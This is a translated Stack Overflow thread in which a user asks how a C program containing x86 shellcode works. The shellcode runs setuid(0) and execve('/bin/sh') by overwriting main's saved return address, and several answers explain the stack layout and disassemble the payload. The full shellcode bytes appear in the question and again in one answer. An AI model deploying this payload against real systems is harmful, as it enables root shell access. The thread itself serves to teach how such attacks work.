15

警告:这是一个漏洞。不要执行此代码。

//shellcode.c

char shellcode[] =
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() { 
    int *ret; //ret pointer for manipulating saved return.

    ret = (int *)&ret + 2; //setret to point to the saved return
                           //value on the stack.

    (*ret) = (int)shellcode; //change the saved return value to the
                             //address of the shellcode, so it executes.
}

谁能给我一个更好的解释?

4

7 回答 7

25

显然,这段代码试图改变堆栈,以便当main函数返回时,程序执行不会定期返回到运行时库(这通常会终止程序),而是会跳转到保存在shellcode数组中的代码。

1) int *ret;

main在堆栈上定义一个变量,就在函数参数的下方。

2) ret = (int *)&ret + 2;

ret变量指向位于堆栈上方int *两个ints的 a。ret假设这是返回地址所在的位置,程序将在main返回时继续。

2) (*ret) = (int)shellcode;

返回地址设置为shellcode数组内容的地址,这样返回shellcode时会执行 ' 的内容main


shellcode似乎包含可能执行系统调用来启动的机器指令/bin/sh。我可能错了,因为我实际上并没有拆卸shellcode


PS:此代码依赖于机器和编译器,可能无法在所有平台上运行。


回复你的第二个问题:

如果我使用 ret=(int)&ret +2 会发生什么,为什么我们要加 2?为什么不是3或4???我认为 int 是 4 个字节,所以 2 将是 8 个字节,不是吗?

ret被声明为int*,因此给它分配一个int(例如(int)&ret)将是一个错误。至于为什么添加 2 而不是任何其他数字:显然是因为此代码假定返回地址将位于堆栈上的该位置。考虑以下:

  • 这段代码假定当有东西被压入调用堆栈时调用堆栈向下增长(就像在英特尔处理器中确实如此)。这就是为什么要添加而不是减去数字的原因:返回地址位于比自动(本地)变量(例如ret)更高的内存地址。

  • 从我记忆中的英特尔组装时代开始,C 函数通常被这样调用:首先,所有参数都以相反的顺序(从右到左)压入堆栈。然后,调用该函数。因此返回地址被压入堆栈。然后,建立一个新的堆栈帧,其中包括将ebp寄存器压入堆栈。然后,局部变量被设置在堆栈下面的所有已被压入它的堆栈上。

现在我为您的程序假设以下堆栈布局:

+-------------------------+
|  function arguments     |                       |
|  (e.g. argv, argc)      |                       |  (note: the stack
+-------------------------+   <-- ss:esp + 12     |   grows downward!)
|  return address         |                       |
+-------------------------+   <-- ss:esp + 8      V
|  saved ebp register     |                       
+-------------------------+   <-- ss:esp + 4  /  ss:ebp - 0  (see code below)
|  local variable (ret)   |                       
+-------------------------+   <-- ss:esp + 0  /  ss:ebp - 4

位于底部ret(这是一个 32 位整数)。上面是保存的ebp寄存器(也是 32 位宽)。上面是 32 位返回地址。(上面是main's 的参数 --argcargv-- 但这些在这里并不重要。)当函数执行时,堆栈指针指向ret. 返回地址位于“上方”的 64 位ret,对应于+ 2in

ret = (int*)&ret + 2; 

这是+ 2因为retis a int*,而 anint是 32 位的,因此加 2 意味着将其设置到上面 2 × 32 位(=64 位)的内存位置(int*)&ret......如果所有假设在上段是正确的。


游览:让我用英特尔汇编语言演示如何调用 C 函数如果我没记错的话——我不是这个主题的专家,所以我可能错了):

// first, push all function arguments on the stack in reverse order:
push  argv
push  argc

// then, call the function; this will push the current execution address
// on the stack so that a return instruction can get back here:
call  main

// (afterwards: clean up stack by removing the function arguments, e.g.:)
add   esp, 8

在 main 内部,可能会发生以下情况:

// create a new stack frame and make room for local variables:
push  ebp
mov   ebp, esp
sub   esp, 4

// access return address:
mov   edi, ss:[ebp+4]

// access argument 'argc'
mov   eax, ss:[ebp+8]

// access argument 'argv'
mov   ebx, ss:[ebp+12]

// access local variable 'ret'
mov   edx, ss:[ebp-4]

...

// restore stack frame and return to caller (by popping the return address)
mov   esp, ebp
pop   ebp
retf

另请参阅:C 中过程调用序列的描述,以获取对此主题的另一种解释。

于 2010-04-24T19:42:10.517 回答
19

实际的shellcode是:

(gdb) x /25i &shellcode
0x804a040 <shellcode>:      xor    %eax,%eax
0x804a042 <shellcode+2>:    xor    %ebx,%ebx
0x804a044 <shellcode+4>:    mov    $0x17,%al
0x804a046 <shellcode+6>:    int    $0x80
0x804a048 <shellcode+8>:    jmp    0x804a069 <shellcode+41>
0x804a04a <shellcode+10>:   pop    %esi
0x804a04b <shellcode+11>:   mov    %esi,0x8(%esi)
0x804a04e <shellcode+14>:   xor    %eax,%eax
0x804a050 <shellcode+16>:   mov    %al,0x7(%esi)
0x804a053 <shellcode+19>:   mov    %eax,0xc(%esi)
0x804a056 <shellcode+22>:   mov    $0xb,%al
0x804a058 <shellcode+24>:   mov    %esi,%ebx
0x804a05a <shellcode+26>:   lea    0x8(%esi),%ecx
0x804a05d <shellcode+29>:   lea    0xc(%esi),%edx
0x804a060 <shellcode+32>:   int    $0x80
0x804a062 <shellcode+34>:   xor    %ebx,%ebx
0x804a064 <shellcode+36>:   mov    %ebx,%eax
0x804a066 <shellcode+38>:   inc    %eax
0x804a067 <shellcode+39>:   int    $0x80
0x804a069 <shellcode+41>:   call   0x804a04a <shellcode+10>
0x804a06e <shellcode+46>:   das    
0x804a06f <shellcode+47>:   bound  %ebp,0x6e(%ecx)
0x804a072 <shellcode+50>:   das    
0x804a073 <shellcode+51>:   jae    0x804a0dd
0x804a075 <shellcode+53>:   add    %al,(%eax)

这大致对应于

setuid(0);
x[0] = "/bin/sh"
x[1] = 0;
execve("/bin/sh", &x[0], &x[1])
exit(0);
于 2010-04-24T20:23:16.383 回答
15

该字符串来自缓冲区溢出的旧文档,并将执行 /bin/sh。因为它是恶意代码(好吧,当与缓冲区漏洞结合使用时)——你下次真的应该包括它的来源。

在同一个文档中,如何编写基于堆栈的漏洞代码

/* the shellcode is hex for: */
      #include <stdio.h>
       main() { 
       char *name[2]; 
       name[0] = "sh"; 
       name[1] = NULL;
       execve("/bin/sh",name,NULL);
          } 

char shellcode[] =
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0
         \x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c
         \xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

您包含的代码会导致执行 shellcode[] 的内容,运行execve并提供对 shell 的访问。还有Shellcode这个词?来自维基百科

在计算机安全中,shellcode 是一小段代码,用作利用软件漏洞的有效负载。它被称为“shellcode”,因为它通常启动一个命令 shell,攻击者可以从中控制受感染的机器。Shellcode 通常用机器代码编写,但任何执行类似任务的代码都可以称为 shellcode。

于 2010-04-24T19:39:50.370 回答
5

无需查找所有实际操作码来确认,该shellcode数组包含 exec 所需的机器码/bin/sh。该shellcode是精心构造的机器代码,用于在特定目标平台上执行所需的操作,并且不包含任何null字节。

中的代码main()正在更改返回地址和执行流程,以使程序通过shellcode执行数组中的指令来生成 shell。

有关如何创建诸如此类的 shellcode 以及如何使用它的描述,请参阅Smashing The Stack For Fun And Profit 。

于 2010-04-24T19:41:16.363 回答
0

该字符串包含一系列以十六进制表示的字节。

这些字节对特定平台上特定处理器的一系列指令进行编码——希望是你的。(编辑:如果是恶意软件,希望不是你的!)

定义该变量只是为了获取堆栈的句柄。一个书签,如果你愿意的话。然后使用指针算法(同样依赖于平台)来操纵程序的状态,以使处理器跳转到并执行字符串中的字节。

于 2010-04-24T19:41:13.313 回答
0

每个 \xXX 是一个十六进制数。一个、两个或三个这样的数字一起形成一个操作码(谷歌)。它一起形成了可以或多或少直接由机器执行的组件。这段代码试图执行shellcode。

我认为 shellcode 试图生成一个 shell。

于 2010-04-24T19:43:01.427 回答
0

这只是 spawn /bin/sh,例如在 C 中execve("/bin/sh", NULL, NULL);

于 2020-08-27T02:22:20.583 回答